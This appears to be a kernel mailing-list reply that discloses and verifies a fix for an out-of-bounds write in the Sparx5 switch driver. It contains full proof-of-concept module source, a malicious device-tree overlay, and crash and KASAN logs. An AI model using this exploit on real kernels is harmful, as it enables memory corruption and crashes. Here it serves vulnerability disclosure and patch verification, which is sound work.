mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Haoran Wang <haoranwangsec@gmail.com>
To: Steen.Hegelund@microchip.com, daniel.machon@microchip.com,
	UNGLinuxDriver@microchip.com
Cc: netdev@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-kernel@vger.kernel.org
Subject: Re: [PATCH net-next] net: sparx5: check DT port reg against array size
Date: Fri, 13 Nov 2026 19:42:25 +0800	[thread overview]
Message-ID: <179457014579.23820.13614773026784681775@gmail.com> (raw)
In-Reply-To: <179457014579.23820.10657909253312598784@gmail.com>

Hi all,

Sharing the PoC and verification results for this fix. Everything below
was run against a pristine v7.4-rc2 / v7.4-rc3 tree (arm64, QEMU virt,
cortex-a57, KASAN generic inline, CONFIG_SPARX5_SWITCH=m): the
out-of-bounds store is executed entirely by the unmodified in-tree
driver -- the PoC module only delivers the malicious device-tree input.
The exact patch as submitted blocks all three attack modes (section 3).

1. Impact summary
=================

The write address is alloc_base + 0x1088 + portno * 8 with portno an
arbitrary u32 taken from the DT 'reg' property (up to a 2 GiB
displacement). Verified on the clean kernel:

  reg value  write lands at                              observed result
  ---------  ------------------------------------------  --------------------------
  65         first slot past ports[], still inside       silent corruption of
             struct sparx5 (coreclock/stats fields)     coreclock/stats, later
                                                        WARNING + NULL-pointer
                                                        write oops in
                                                        sparx5_port_init
  15839      first byte past the 128 KiB (order-5)       BUG: KASAN:
             allocation backing struct sparx5           use-after-free in
                                                        mchp_sparx5_probe,
                                                        deterministic
  0x20000000 linear-map address +4 GiB                   Unable to handle
                                                        kernel paging request,
                                                        oops at the store

2. PoC design (poc_sparx5_oob.c)
================================

The module only delivers input the driver already trusts:

  1. Malicious DT overlay (evil_overlay.dts, embedded as a blob): adds a
     poc-sparx5 switch node with three MMIO windows and one
     ethernet-port whose reg is a placeholder, patched at module load to
     the chosen value. of_overlay_fdt_apply() -> of_platform_notify()
     auto-creates the platform devices, so the *clean* driver's probe
     runs inside the apply call -- the full chain is visible in the
     KASAN stack trace.

  2. Stub serdes PHY provider -- probe requires devm_of_phy_get().

  3. Fake register file -- mem=700M on a -m 1G QEMU guest carves the RAM
     tail [0x6bc00000, 0x80000000) out of the memory map (pfn_valid()
     is false there, so the driver's devm_ioremap() succeeds). Only two
     value-deciding register reads happen before the port-creation loop,
     both prefilled: GCB_CHIP_ID.PART_ID = 0x7546 and
     HSCH_RESET_CFG.CORE_ENA = 1; every other access is a write or a
     read-modify-write that does not branch on the value.

Threat model: the parsed device tree is attacker-controlled data in
several realistic scenarios -- runtime DT overlays (CONFIG_OF_OVERLAY),
a corrupted or maliciously replaced DTB (kexec --dtb is the trivially
reachable variant), or bootloader DT fixups on SparX-5 boards.

3. Results
==========

Unpatched:

  mode 0 (reg = 15839) -> BUG: KASAN: use-after-free in
      mchp_sparx5_probe+0x3464 [sparx5_switch], Write of size 8, at the
      first byte past the order-5 allocation (shadow 00...00 | ff ff ff
      boundary). Deterministic.

  mode 1 (reg = 0x20000000) -> Unable to handle kernel paging request,
      oops, pc = mchp_sparx5_probe (KASAN inline check faults reading
      unmapped shadow; without KASAN the store itself faults).

  mode 2 (reg = 65) -> silent overwrite of ports[65] (coreclock etc.),
      probe continues, secondary effect: NULL-pointer write (0x4) oops
      in sparx5_port_init+0x1028.

Patched (the exact diff from the patch email, rebuilt into the driver):

  mode 0: sparx5-switch 6bc00000.poc-sparx5: port 15839: reg out of range
  mode 1: sparx5-switch 6bc00000.poc-sparx5: port 536870912: reg out of range
  mode 2: sparx5-switch 6bc00000.poc-sparx5: port 65: reg out of range
  -> KASAN reports / oopses: 0 in all three modes; the bad node is
     skipped during DT parsing and probe completes normally for the
     valid ports.

Evidence excerpts for all of the above are inlined at the end of this
mail; full untrimmed console logs available on request.

4. Side finding: KASAN redzones and large devm_kzalloc objects
==============================================================

struct sparx5 (83384 bytes) is allocated via devm_kzalloc(), which goes
through alloc_dr() (drivers/base/devres.c):

    check_add_overflow(sizeof(struct devres), size, &tot_size);  /* +0x80 */
    *tot_size = kmalloc_size_roundup(*tot_size);                 /* 83512 -> 131072 */

kmalloc therefore receives a request for the full 128 KiB bucket, and
generic KASAN gets no requested-size redzone: every write between
sizeof(struct sparx5) and the end of the 128 KiB block is invisible to
KASAN (verified live: shadow 0x00 across that whole range -- mode 2's
in-struct corruption is not reported). The PoC's mode 0 works around
this by aiming at the first byte *past* the order-5 block. This
rounding weakens KASAN redzone protection for all large devm_kzalloc
objects and may deserve separate attention.

5. Reproduction
===============

Host: aarch64 gcc 14.3 cross toolchain, qemu-system-aarch64 (virt,
cortex-a57, -smp 2 -m 1G), busybox initramfs. Kernel fragment:
KASAN_GENERIC + KASAN_INLINE + OF_OVERLAY + SPARX5_SWITCH=m (plus
bridge/phylink module deps).

    ./poc/mkinitramfs.sh        # packs init + clean .ko files
    ./poc/run-qemu.sh 0 1       # mode 0/1/2, auto-poweroff
    # boot cmdline: mem=700M kasan_multi_shot=1 panic=-1

Inside the guest /init loads the dependency modules, then
insmod poc_sparx5_oob.ko mode=$poc_mode, echoes dmesg, powers off.

6. PoC source (poc_sparx5_oob.c)
================================

----8<---- poc_sparx5_oob.c ----
// SPDX-License-Identifier: GPL-2.0
/*
 * poc_sparx5_oob.c — PoC: OOB write via unchecked DT 'reg' port number in
 * the Microchip Sparx5 switch driver of an *unmodified* upstream kernel.
 *
 * Note: this PoC was developed with the assistance of an AI tool (Claude).
 *
 * Vulnerable code (drivers/net/ethernet/microchip/sparx5/sparx5_main.c,
 * kernel 7.4-rc2 — no bounds check anywhere on the path):
 *
 *   mchp_sparx5_probe():
 *           err = of_property_read_u32(portnp, "reg", &portno);
 *           ...
 *           config->portno = portno;
 *   sparx5_create_port():
 *           sparx5->ports[config->portno] = spx5_port;   <-- OOB write
 *
 *   struct sparx5::ports[] has SPX5_PORTS (65) entries; the struct is
 *   allocated with devm_kzalloc_obj() (plain kmalloc, ~83KB here).
 *
 * Attack surface being modelled: the device tree the driver parses is
 * attacker-controlled data (runtime DT overlay, malicious DTB, kexec-supplied
 * DTB, bootloader DT fixups on SparX-5 boards).  This module delivers
 * exactly that input and nothing more:
 *
 *   1. applies a runtime device tree overlay (evil_overlay.dtbo compiled
 *      from evil_overlay.dts) that instantiates a sparx5-switch node with
 *      one ethernet port whose 'reg' is out of range   [the malicious input]
 *   2. provides a stub serdes PHY provider   (probe needs devm_of_phy_get)
 *   3. prefills a RAM window carved out via 'mem=700M' that stands in for
 *      the switch register file:
 *        - GCB_CHIP_ID.PART_ID = 0x7546   (steers init_features/coreclock)
 *        - HSCH_RESET_CFG.CORE_ENA = 1    (skips the RAM-init poll loop)
 *      Every other register access before the port-creation loop is a pure
 *      write or a read-modify-write that does not branch on the value.
 *
 * Then it creates the platform device; the *clean* in-tree driver performs
 * the out-of-bounds write all by itself.
 *
 * Modes (module param 'mode', or explicit port number via 'regno'):
 *   0 (default) — land the write just past the end of the order-5 (128K)
 *                 allocation backing struct sparx5 -> KASAN report on the
 *                 poisoned free buddy page
 *   1           — wild write far past the linear map -> kernel oops
 *   2           — reg=65: first OOB slot, silent in-struct corruption
 *                 (hits coreclock / num_stats / stats_layout / stats)
 *
 * Note: devm_kzalloc()'s alloc_dr() rounds the request up to the full kmalloc
 * bucket, so KASAN has NO redzone between sizeof(struct sparx5) and the 128K
 * block end — writes in that window are invisible to KASAN (verified live).
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/io.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/platform_device.h>
#include <linux/phy/phy.h>
#include <linux/of.h>
#include <linux/of_platform.h>

/* struct sparx5 layout (sizeof/offsetof) straight from the driver headers */
#include "sparx5_main.h"

/* compiled from evil_overlay.dts; placeholder reg 0xdeadbee1 */
#include "evil_overlay_blob.h"

/* ---- fake register file: RAM tail carved out with mem=700M on -m 1G ---- *
 * guest RAM [0x40000000, 0x80000000), usable capped at 0x6bc00000, so the
 * window [0x6bc00000, 0x80000000) backs the whole ~296MB physical span of
 * the switch's register map (targets up to offset 0x11b00000).
 */
#define REG_BASE	0x6BC00000UL
#define REG_WINDOW	0x11B10000UL

/*
 * Register offsets inside the fake window (relative to REG_BASE), derived
 * from the driver's own tables for this exact tree:
 *   regs[TARGET_GCB]  = res2.start            (GCB is the first range-2
 *                                             iomap entry, offset 0x11010000)
 *   regs[TARGET_HSCH] = res2.start - 0x11010000 + 0x11580000
 *   GCB_CHIP_ID       = regs[TARGET_GCB] + 0
 *   HSCH_RESET_CFG    = regs[TARGET_HSCH] + gaddr[GA_HSCH_MMGT](=162368)
 *                                                                + raddr(=8)
 */
#define GCB_CHIP_ID_OFF		0x11010000u
#define HSCH_RESET_CFG_OFF	0x115A7A48u

/* GCB_CHIP_ID.PART_ID is bits 27:12; SPX5_TARGET_CT_7546 = 0x7546 */
#define CHIP_ID_VALUE		(0x7546u << 12)
/* HSCH_RESET_CFG.CORE_ENA = BIT(0) */
#define RESET_CFG_VALUE		1u

#define PLACEHOLDER_REG		0xdeadbee1u

static unsigned int mode = 0;
module_param(mode, uint, 0444);
MODULE_PARM_DESC(mode, "0=KASAN redzone (default), 1=wild write oops, 2=reg 65 silent");

static unsigned int regno;
module_param(regno, uint, 0444);
MODULE_PARM_DESC(regno, "explicit port number override (takes precedence)");

static struct device_node *root_np, *phy_np, *sw_np;
static struct platform_device *phy_pdev, *sw_pdev;
static void __iomem *regs_win;
static void *blob;
static int ovcs_id = -1;

/* ------------------------------------------------------------------ */
/* stub serdes PHY provider                                            */
/* ------------------------------------------------------------------ */

/* read a KASAN shadow byte directly (KASAN_SHADOW_OFFSET from .config) */
#define POC_KASAN_OFFSET	0xdfff800000000000UL
static void poc_dump_shadow(const char *tag, void *addr)
{
	u8 s = *(volatile u8 *)(((unsigned long)addr >> 3) + POC_KASAN_OFFSET);

	pr_info("poc: shadow[%s addr=%px] = 0x%02x\n", tag, addr, s);
}

static int poc_phy_stub(struct phy *phy)
{
	return 0;
}

static int poc_phy_set_mode(struct phy *phy, enum phy_mode mode, int submode)
{
	return 0;
}

static const struct phy_ops poc_phy_ops = {
	.init		= poc_phy_stub,
	.exit		= poc_phy_stub,
	.power_on	= poc_phy_stub,
	.power_off	= poc_phy_stub,
	.set_mode	= poc_phy_set_mode,
	.owner		= THIS_MODULE,
};

static struct phy *poc_phy_xlate(struct device *dev,
				 const struct of_phandle_args *args)
{
	return dev_get_drvdata(dev);
}

static int poc_phy_probe(struct platform_device *pdev)
{
	struct phy_provider *provider;
	struct phy *phy;

	phy = devm_phy_create(&pdev->dev, pdev->dev.of_node, &poc_phy_ops);
	if (IS_ERR(phy))
		return PTR_ERR(phy);

	platform_set_drvdata(pdev, phy);

	provider = devm_of_phy_provider_register(&pdev->dev, poc_phy_xlate);
	if (IS_ERR(provider))
		return PTR_ERR(provider);

	dev_info(&pdev->dev, "stub serdes PHY provider registered\n");
	return 0;
}

static const struct of_device_id poc_phy_of_match[] = {
	{ .compatible = "poc,stub-phy" },
	{ }
};

static struct platform_driver poc_phy_driver = {
	.probe = poc_phy_probe,
	.driver = {
		.name = "poc-stub-phy",
		.of_match_table = poc_phy_of_match,
	},
};

/* ------------------------------------------------------------------ */
/* evil port number selection                                          */
/* ------------------------------------------------------------------ */

static u32 poc_pick_evil_portno(void)
{
	size_t size = sizeof(struct sparx5);
	size_t off  = offsetof(struct sparx5, ports);
	size_t objsz;

	/* devm_kzalloc_obj -> kmalloc(sizeof) — no dedicated cache */
	objsz = kmalloc_size_roundup(size);

	pr_info("poc: sizeof(struct sparx5)=%zu (0x%zx) offsetof(ports)=0x%zx "
		"kmalloc backing=%zu (0x%zx)\n",
		size, size, off, objsz, objsz);

	if (regno)
		return regno;

	switch (mode) {
	case 2:
		return 65;	/* ports[65] == coreclock/num_stats */
	case 1:
		/* +8GB: outside the linear map -> translation fault at the
		 * store instruction inside sparx5_create_port() */
		return (u32)((4UL << 30) >> 3);
	default:
		/*
		 * NOTE: devm_kzalloc() routes through alloc_dr(), which
		 * allocates kmalloc_size_roundup(sizeof(struct devres)=0x80
		 * + size) = the FULL 128K bucket.  Generic KASAN therefore
		 * has no requested-size redzone for this object at all
		 * (verified live: shadow at obj+size+0x100 is 0x00) — which
		 * is exactly why this bug survives KASAN testing.
		 *
		 * So aim at the first byte PAST the order-5 block instead:
		 *   write = alloc_base + 0x80 (devres hdr) + 0x1088
		 *           + portno*8  ==  alloc_base + 0x20000
		 * The neighbouring page is free buddy memory whose shadow is
		 * KASAN-poisoned (0xff) -> deterministic report.
		 */
		return (u32)((0x20000UL - 0x1108UL) >> 3);	/* 15839 */
	}
}

/* ------------------------------------------------------------------ */
/* malicious overlay                                                   */
/* ------------------------------------------------------------------ */

static int poc_apply_overlay(u32 evil)
{
	__be32 marker = cpu_to_be32(PLACEHOLDER_REG);
	u32 repl = cpu_to_be32(evil);
	int count = 0;
	u8 *p, *end;
	int ret;

	blob = kmemdup(evil_overlay_dtbo, evil_overlay_dtbo_len, GFP_KERNEL);
	if (!blob)
		return -ENOMEM;

	/* patch the placeholder port reg in the writable blob */
	end = blob + evil_overlay_dtbo_len - 4;
	for (p = blob; p <= end; p++) {
		if (!memcmp(p, &marker, 4)) {
			memcpy(p, &repl, 4);
			count++;
		}
	}
	if (count != 1) {
		pr_err("poc: placeholder patch count %d (!= 1), aborting\n",
		       count);
		ret = -EINVAL;
		goto err_free;
	}

	ret = of_overlay_fdt_apply(blob, evil_overlay_dtbo_len, &ovcs_id,
				   root_np);
	if (ret) {
		pr_err("poc: overlay apply failed: %d\n", ret);
		goto err_free;
	}

	phy_np = of_find_node_by_name(root_np, "poc-stub-phy");
	sw_np  = of_find_node_by_name(root_np, "poc-sparx5");
	if (!phy_np || !sw_np) {
		pr_err("poc: overlay nodes not found (phy=%p sw=%p)\n",
		       phy_np, sw_np);
		ret = -ENOENT;
		goto err_remove;
	}

	pr_info("poc: malicious overlay applied, evil port reg = <%u> (0x%x)\n",
		evil, evil);
	return 0;

err_remove:
	of_overlay_remove(&ovcs_id);
	ovcs_id = -1;
err_free:
	kfree(blob);
	blob = NULL;
	return ret;
}

static void poc_remove_overlay(void)
{
	if (sw_pdev)
		of_platform_device_destroy(&sw_pdev->dev, NULL);
	if (phy_pdev)
		of_platform_device_destroy(&phy_pdev->dev, NULL);
	if (ovcs_id >= 0) {
		of_overlay_remove(&ovcs_id);
		ovcs_id = -1;
	}
	kfree(blob);
	blob = NULL;
}

/* ------------------------------------------------------------------ */

static int __init poc_init(void)
{
	u32 evil;
	int ret;

	pr_info("poc: sparx5 DT 'reg' OOB write PoC (mode=%u regno=%u)\n",
		mode, regno);

	root_np = of_find_node_by_path("/");
	if (!root_np) {
		pr_err("poc: no root node?!\n");
		return -ENOENT;
	}

	/* KASAN detector self-test (validates the harness, not the bug):
	 * same allocation geometry as the driver's struct sparx5. */
	{
		size_t sz = sizeof(struct sparx5);
		struct platform_device *dummy;
		u8 *t;

		t = kmalloc(sz, GFP_KERNEL);
		pr_info("poc: kasan self-test1: kmalloc(%zu)=%px, store at +%zu\n",
			sz, t, sz + 0x100);
		if (t) {
			poc_dump_shadow("selftest1 redzone", t + sz + 0x100);
			*(volatile u32 *)(t + sz + 0x100) = 0x41414141;
			pr_info("poc: kasan self-test1 store done\n");
			kfree(t);
		}

		/* replicate the driver's exact allocation path:
		 * devm_kzalloc_obj() -> devm_kzalloc(dev, sizeof, GFP_KERNEL) */
		dummy = platform_device_register_simple("poc-dummy", PLATFORM_DEVID_NONE, NULL, 0);
		if (!IS_ERR(dummy)) {
			t = devm_kzalloc(&dummy->dev, sz, GFP_KERNEL);
			pr_info("poc: kasan self-test2: devm_kzalloc(%zu)=%px\n", sz, t);
			if (t) {
				poc_dump_shadow("selftest2 redzone", t + sz + 0x100);
				poc_dump_shadow("selftest2 in-obj ", t + 0x1000);
				*(volatile u32 *)(t + sz + 0x100) = 0x42424242;
				pr_info("poc: kasan self-test2 store done\n");
			}
			platform_device_unregister(dummy);
		}
	}

	evil = poc_pick_evil_portno();

	/* 1. diagnostics: probe the register windows exactly like the
	 *    driver's devm_ioremap() will */
	{
		const resource_size_t dbase[3] = {
			REG_BASE, REG_BASE + 0x10004000, REG_BASE + 0x11010000
		};
		const resource_size_t dsize[3] = {
			0x401000, 0x7fc000, 0xaf0000
		};
		void __iomem *t;
		int i;

		for (i = 0; i < 3; i++) {
			t = ioremap(dbase[i], dsize[i]);
			pr_info("poc: diag ioremap(pa %#llx +%#llx) = %px\n",
				(u64)dbase[i], (u64)dsize[i], t);
			if (t)
				iounmap(t);
		}
	}

	/* 2. prefill the fake register file (must happen before probe,
	 *    which now runs during overlay application) */
	regs_win = ioremap(REG_BASE, REG_WINDOW);
	if (!regs_win) {
		pr_err("poc: ioremap of register window failed\n");
		ret = -ENOMEM;
		goto err_root;
	}
	writel(CHIP_ID_VALUE, regs_win + GCB_CHIP_ID_OFF);
	writel(RESET_CFG_VALUE, regs_win + HSCH_RESET_CFG_OFF);
	pr_info("poc: prefilled GCB_CHIP_ID=%#x @pa %#lx, HSCH_RESET_CFG=%#x @pa %#lx\n",
		CHIP_ID_VALUE, (unsigned long)REG_BASE + GCB_CHIP_ID_OFF,
		RESET_CFG_VALUE, (unsigned long)REG_BASE + HSCH_RESET_CFG_OFF);

	/* 3. stub phy provider driver must be registered before the overlay
	 *    applies (the notifier creates its platform device and probes
	 *    it during of_overlay_fdt_apply()) */
	ret = platform_driver_register(&poc_phy_driver);
	if (ret) {
		pr_err("poc: phy driver register failed\n");
		goto err_root;
	}

	/* 4. apply the malicious overlay.  of_platform_notify() creates the
	 *    platform devices for the new nodes right away, so the clean
	 *    mchp_sparx5_probe() runs INSIDE this call and performs the OOB
	 *    write at  sparx5->ports[config->portno] = spx5_port;         */
	pr_info("poc: applying malicious overlay — probe incoming\n");
	ret = poc_apply_overlay(evil);
	if (ret)
		goto err_drv;

	pr_info("poc: probe returned — check dmesg for KASAN report\n");

	/* post-mortem: dump the switch device's parsed resources and replay
	 * the driver's exact devm_ioremap() on each one, to pinpoint which
	 * window (and which parsed value) fails */
	{
		struct platform_device *pdev = of_find_device_by_node(sw_np);

		if (pdev) {
			struct resource *r;
			void __iomem *t;
			int i;

			for (i = 0; i < 8; i++) {
				r = platform_get_resource(pdev, IORESOURCE_MEM, i);
				if (!r)
					break;
				pr_info("poc: res[%d] = %pa..%pa size %#llx name %s\n",
					i, &r->start, &r->end,
					(unsigned long long)resource_size(r),
					r->name);
				t = devm_ioremap(&pdev->dev, r->start,
						 resource_size(r));
				pr_info("poc: res[%d] devm_ioremap = %px\n", i, t);
				if (t)
					devm_iounmap(&pdev->dev, t);
			}
			platform_device_put(pdev);
		} else {
			pr_err("poc: no platform device for sw_np\n");
		}
	}

	return 0;

err_drv:
	platform_driver_unregister(&poc_phy_driver);
err_root:
	of_node_put(root_np);
	return ret;
}

static void __exit poc_exit(void)
{
	if (regs_win)
		iounmap(regs_win);
	poc_remove_overlay();
	platform_driver_unregister(&poc_phy_driver);
	of_node_put(root_np);
	pr_info("poc: unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC: sparx5 DT reg portno OOB write (clean-kernel bug)");
----8<---- end poc_sparx5_oob.c ----

7. Malicious overlay source (evil_overlay.dts)
=============================================

----8<---- evil_overlay.dts ----
// SPDX-License: GPL-2.0
/*
 * evil_overlay.dts — malicious device tree overlay for the Microchip Sparx5
 * switch driver OOB write PoC.
 *
 * The ethernet port 'reg' value is the attack payload: it is used
 * *unchecked* as an index into struct sparx5::ports[SPX5_PORTS=65].
 * The compiled blob is embedded into the PoC module; the placeholder
 * value 0xdeadbee1 is replaced at runtime with the chosen port number
 * (module param 'mode' or 'regno').
 *
 * The three MMIO windows mirror the register layout the driver expects
 * (sparx5.dtsi) but are backed by a RAM tail carved out of the guest
 * memory map with 'mem=700M' on a '-m 1G' virt machine (0x6bc00000..).
 */
/dts-v1/;
/plugin/;

/ {
	fragment@0 {
		target-path = "/";
		__overlay__ {
			/* NOTE: no #address-cells/#size-cells here — the root
			 * already has 2/2 and overlays may not change it, so
			 * the switch node's reg below uses 2 address cells +
			 * 2 size cells per tuple. */

			pocphy: poc-stub-phy {
				compatible = "poc,stub-phy";
				#phy-cells = <0>;
				status = "okay";
			};

			poc-sparx5 {
				compatible = "microchip,sparx5-switch";
				status = "okay";
				#address-cells = <1>;
				#size-cells = <1>;
				/* cpu, dev, gcb windows (see sparx5.dtsi reg-names).
				 * QEMU virt root uses #address-cells=<2> and
				 * #size-cells=<2>, so each tuple is 2 addr + 2
				 * size cells: <hi lo hi lo>. */
				reg = <0x0 0x6bc00000 0x0 0x00401000>,
				      <0x0 0x7bc04000 0x0 0x007fc000>,
				      <0x0 0x7cc10000 0x0 0x00af0000>;

				ethernet-ports {
					#address-cells = <1>;
					#size-cells = <0>;

					port@0 {
						reg = <0xdeadbee1>;	/* evil: >= 65 */
						phy-mode = "sgmii";
						microchip,bandwidth = <1000>;
						phys = <&pocphy>;
						status = "okay";
					};
				};
			};
		};
	};
};
----8<---- end evil_overlay.dts ----

8. Evidence logs (trimmed)
==========================

--- mode 0, unpatched: KASAN use-after-free at the 128 KiB boundary ---

[    6.953141] poc: applying malicious overlay — probe incoming
[    6.977682] poc-stub-phy poc-stub-phy: stub serdes PHY provider registered
[    7.000621] sparx5-switch 6bc00000.poc-sparx5: MAC addr was not set, use random MAC
[    7.001132] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ fdma not found
[    7.001498] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ xtr not found
[    7.001566] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ ptp not found
[    7.006202] ==================================================================
[    7.006276] BUG: KASAN: use-after-free in mchp_sparx5_probe+0x3464/0x4640 [sparx5_switch]
[    7.006569] Write of size 8 at addr ffff000010980000 by task insmod/71
[    7.006616] 
[    7.006689] CPU: 1 UID: 0 PID: 71 Comm: insmod Tainted: G    B      O        7.4.0-rc2+ #1 PREEMPT(full) 
[    7.006767] Tainted: [B]=BAD_PAGE, [O]=OOT_MODULE
[    7.006791] Hardware name: linux,dummy-virt (DT)
[    7.006831] Call trace:
[    7.006861]  show_stack+0x18/0x30 (C)
[    7.006946]  dump_stack_lvl+0x60/0x80
[    7.007006]  print_report+0x17c/0x4d8
[    7.007062]  kasan_report+0xbc/0x130
[    7.007122]  __asan_report_store8_noabort+0x20/0x30
[    7.007183]  mchp_sparx5_probe+0x3464/0x4640 [sparx5_switch]
[    7.007317]  platform_probe+0xc4/0x190
[    7.007376]  really_probe+0x17c/0x5d0
[    7.007432]  __driver_probe_device+0x234/0x340
[    7.007491]  driver_probe_device+0xe4/0x150
[    7.007548]  __device_attach_driver+0x168/0x210
[    7.007611]  bus_for_each_drv+0x108/0x1a0
[    7.007668]  __device_attach+0x16c/0x330
[    7.007740]  device_initial_probe+0x8c/0xc0
[    7.007801]  __bus_probe_device+0x54/0x120
[    7.007866]  bus_probe_device+0x10/0x20
[    7.007928]  device_add+0xc38/0x1220
[    7.008024]  of_device_add+0xdc/0x150
[    7.008090]  of_platform_device_create_pdata+0x118/0x200
[    7.008147]  of_platform_notify+0x218/0x300
[    7.008218]  blocking_notifier_call_chain+0xc4/0x130
[    7.008280]  __of_changeset_entry_notify+0x11c/0x3f0
[    7.008343]  __of_changeset_apply_notify+0x64/0xc0
[    7.008396]  of_overlay_fdt_apply+0xf50/0x16f0
[    7.008454]  poc_init+0x584/0x1000 [poc_sparx5_oob]
[    7.008534]  do_one_initcall+0xd0/0x310
[    7.008590]  do_init_module+0x234/0x6e0
[    7.008652]  load_module+0x3a44/0x4dc0
[    7.008717]  __do_sys_init_module+0x1f0/0x2e0
[    7.008777]  __arm64_sys_init_module+0x70/0xa0
[    7.008844]  invoke_syscall+0x74/0x2c0
[    7.008899]  el0_svc_common.constprop.0+0xac/0x230
[    7.008953]  do_el0_svc+0x40/0x60
[    7.009015]  el0_svc+0x38/0xa0
[    7.009078]  el0t_64_sync_handler+0xa0/0xf0
[    7.009139]  el0t_64_sync+0x198/0x19c
[    7.009203] 
[    7.009226] The buggy address belongs to the physical page:
[    7.009361] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x50980
[    7.009424] flags: 0x3fffe0000000000(node=0|zone=0|lastcpupid=0x1ffff)
[    7.009548] page_type: f0(buddy)
[    7.009611] raw: 03fffe0000000000 ffff00002ba92958 ffff00002ba92958 0000000000000000
[    7.009661] raw: 0000000000000000 0000000000000007 00000000f0000000 0000000000000000
[    7.009706] page dumped because: kasan: bad access detected
[    7.009735] 
[    7.009753] Memory state around the buggy address:
[    7.009793]  ffff00001097ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[    7.009841]  ffff00001097ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[    7.009875] >ffff000010980000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[    7.009903]                    ^
[    7.009943]  ffff000010980080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[    7.009994]  ffff000010980100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[    7.010027] ==================================================================

--- mode 1, unpatched: +4 GiB wild write oops ---

[    6.006952] sparx5-switch 6bc00000.poc-sparx5: MAC addr was not set, use random MAC
[    6.007431] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ fdma not found
[    6.007779] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ xtr not found
[    6.007844] sparx5-switch 6bc000
** replaying previous printk message **
[    6.007844] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ ptp not found
[    6.012493] Unable to handle kernel paging request at virtual address ffff600022134221
[    6.012612] KASAN: probably wild-memory-access in range [0xffff0001109a1108-0xffff0001109a110f]
[    6.012652] Mem abort info:
[    6.012679]   ESR = 0x0000000096000006
[    6.012748]   EC = 0x25: DABT (current EL), IL = 32 bits
[    6.012778]   SET = 0, FnV = 0
[    6.012799]   EA = 0, S1PTW = 0
[    6.012826]   FSC = 0x06: level 2 translation fault
[    6.012867] Data abort info:
[    6.012888]   ISV = 0, ISS = 0x00000006, ISS2 = 0x00000000
[    6.012913]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[    6.012937]   GCS = 0, Overlay = 0, DirtyBit = 0
[    6.013047] swapper pgtable: 4k pages, 48-bit VAs, pgdp=0000000044ca3000
[    6.013151] [ffff600022134221] pgd=0000000000000000, p4d=0000000068c78003, pud=0000000068c77003, pmd=0000000000000000
[    6.014510] Internal error: Oops: 0000000096000006 [#1]  SMP
[    6.017369] Modules linked in: poc_sparx5_oob(O+) sparx5_switch phylink bridge stp llc
[    6.018234] CPU: 1 UID: 0 PID: 70 Comm: insmod Tainted: G    B      O        7.4.0-rc2+ #1 PREEMPT(full) 
[    6.018478] Tainted: [B]=BAD_PAGE, [O]=OOT_MODULE
[    6.018589] Hardware name: linux,dummy-virt (DT)
[    6.018878] pstate: 10000005 (nzcV daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[    6.019147] pc : mchp_sparx5_probe+0x1838/0x4640 [sparx5_switch]
[    6.019367] lr : mchp_sparx5_probe+0x1630/0x4640 [sparx5_switch]
[    6.019559] sp : ffff800087726a80
[    6.019664] x29: ffff800087726c40 x28: ffff000008d0af10 x27: ffff0000109a0080
[    6.019959] x26: dfff800000000000 x25: 1fffe000011a15e0 x24: ffff00000c10c000
[    6.020166] x23: ffff80007f1ac980 x22: ffff00000c10cac0 x21: ffff80007f1abc60
[    6.020366] x20: 0000000020000000 x19: 1fffe000011a15e1 x18: 1ffff0000fe39468
[    6.020564] x17: 5f54455345525f48 x16: ffff00002ba925e0 x15: ffff800080395bf0
[    6.020765] x14: ffff8000803958e0 x13: ffff800080395bf0 x12: ffff600001821875
[    6.020967] x11: 1fffe00001821874 x10: ffff600001821874 x9 : dfff800000000000
[    6.021213] x8 : ffff00000c10c3a7 x7 : 0000000000000001 x6 : ffff600001821874
[    6.021422] x5 : ffff00000c10c3a0 x4 : ffff600001821875 x3 : 1fffe00001821863
[    6.021620] x2 : 0000000000001088 x1 : 1fffe00022134221 x0 : ffff0001109a1108
[    6.021862] Call trace:
[    6.021988]  mchp_sparx5_probe+0x1838/0x4640 [sparx5_switch] (P)

--- mode 2, unpatched: reg=65 silent in-struct corruption, secondary NULL write ---

[    7.401113] poc: prefilled GCB_CHIP_ID=0x7546000 @pa 0x7cc10000, HSCH_RESET_CFG=0x1 @pa 0x7d1a7a48
[    7.403212] poc: applying malicious overlay — probe incoming
[    7.427838] poc-stub-phy poc-stub-phy: stub serdes PHY provider registered
[    7.457499] sparx5-switch 6bc00000.poc-sparx5: MAC addr was not set, use random MAC
[    7.458007] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ fdma not found
[    7.458367] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ xtr not found
[    7.458432] sparx5-switch 6bc00000.poc-sparx5: error -ENXIO: IRQ ptp not found
[    7.463894] ------------[ cut here ]------------
[    7.464136] WARNING: drivers/net/ethernet/microchip/sparx5/sparx5_main.h:796 at sparx5_port_init+0x169c/0x1f40 [sparx5_switch], CPU#1: insmod/70
[    7.464947] Modules linked in: poc_sparx5_oob(O+) sparx5_switch phylink bridge stp llc
[    7.466616] CPU: 1 UID: 0 PID: 70 Comm: insmod Tainted: G    B      O        7.4.0-rc2+ #1 PREEMPT(full) 
[    7.466932] Tainted: [B]=BAD_PAGE, [O]=OOT_MODULE
[    7.467054] Hardware name: linux,dummy-virt (DT)
